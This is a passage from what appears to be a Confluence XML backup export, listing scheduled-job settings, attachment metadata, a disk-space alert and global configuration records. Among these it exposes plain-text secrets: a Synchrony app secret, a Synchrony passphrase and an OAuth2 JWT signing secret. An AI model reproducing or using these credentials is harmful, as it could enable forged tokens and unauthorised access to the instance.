<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32878</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#createBlueprintPageEntityCleanupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32879</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#batchingJobConfig]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32876</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.onboardingSpaceCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32877</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#cleanupTrigger]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32874</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#summaryEmail]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98349</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[next.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[next.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262225</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262233</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262237</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32875</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#onboardingSpaceCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98350</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[step04-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step04-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262202</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262208</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262234</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262241</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">4</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32872</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#jira-metadata-cache-config]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98347</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[start.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[start.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262206</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262231</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262232</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32873</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#deletedInviteesCleanUpJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98348</id>
|
||||
<property name="hibernateVersion">20</property>
|
||||
<property name="title"><![CDATA[step06-image02.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image02.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262215</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262216</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262217</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262221</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32870</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#flushEdgeIndexQueue]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98353</id>
|
||||
<property name="hibernateVersion">21</property>
|
||||
<property name="title"><![CDATA[step06-image01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262218</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262219</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262220</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262261</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">4</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32871</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#conversionQueueMonitor]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98354</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step05-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262266</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262267</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262268</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262269</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32868</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#addonHouskeeperTrigger-v2]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98351</id>
|
||||
<property name="hibernateVersion">9</property>
|
||||
<property name="title"><![CDATA[step05-03.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-03.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262245</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262257</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262263</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262264</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32869</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#purgeHistoryJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98352</id>
|
||||
<property name="hibernateVersion">8</property>
|
||||
<property name="title"><![CDATA[step04-02.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step04-02.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262251</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262252</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262253</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262272</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32834</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_id]]></property>
|
||||
<property name="value"><![CDATA[<string>Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32835</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_secret]]></property>
|
||||
<property name="value"><![CDATA[<string>ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32832</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..logged_base_analytics_data]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32833</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-update]]></property>
|
||||
<property name="value"><![CDATA[<list>
|
||||
<string>com.atlassian.migration.agent</string>
|
||||
<string>com.atlassian.troubleshooting.plugin-confluence</string>
|
||||
</list>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32830</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_base_url]]></property>
|
||||
<property name="value"><![CDATA[<string>http://nessus-docker.local:8090/synchrony-proxy,http://nessus-docker.local:8090/synchrony-proxy</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32831</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_passphrase]]></property>
|
||||
<property name="value"><![CDATA[<string>BxPVX1EMs+EycDmXIAthliGTBb3EAwLgeyaTxHBW4CE=</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32828</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="AlertEntityImpl" package="com.atlassian.confluence.internal.diagnostics.persistence.dao.hibernate">
|
||||
<id name="id">720897</id>
|
||||
<property name="detailsJson"><![CDATA[{"freeInMegabytes":144,"totalInMegabytes":4160,"minimumInMegabytes":256}]]></property>
|
||||
<property name="issueComponentId"><![CDATA[OS]]></property>
|
||||
<property name="issueId"><![CDATA[OS-1001]]></property>
|
||||
<property name="issueSeverity" enum-class="Severity" package="com.atlassian.diagnostics">WARNING</property>
|
||||
<property name="nodeName"><![CDATA[3b0401e4191f]]></property>
|
||||
<property name="nodeNameLower"><![CDATA[3b0401e4191f]]></property>
|
||||
<property name="timestampUtc">1699509909923</property>
|
||||
<property name="triggerModule"/><property name="triggerPluginKey"><![CDATA[not-detected]]></property>
|
||||
<property name="triggerPluginKeyLower"><![CDATA[not-detected]]></property>
|
||||
<property name="triggerPluginVersion"/></object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32829</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32826</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32827</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32824</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32825</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32822</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-plugin.request]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32823</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..analytics_enabled]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32820</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.oauth2.provider.jwt.secret]]></property>
|
||||
<property name="value"><![CDATA[<string>385f48cdf4038b1577ad4191bff5fc8ae24efbb9aaf8fea882b4d535f0297a33</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32821</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-edition.mismatch]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32850</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#FlushContentIndexScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32851</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#FlushChangeIndexScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32848</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ExpiredUserVerificationTokenCleanupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32849</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#VersionHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32846</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#DeferredFileDeletionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32847</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#TrashSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32844</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JournalCleaner]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32845</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#clearOldMailErrorsJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32842</id>
|
||||
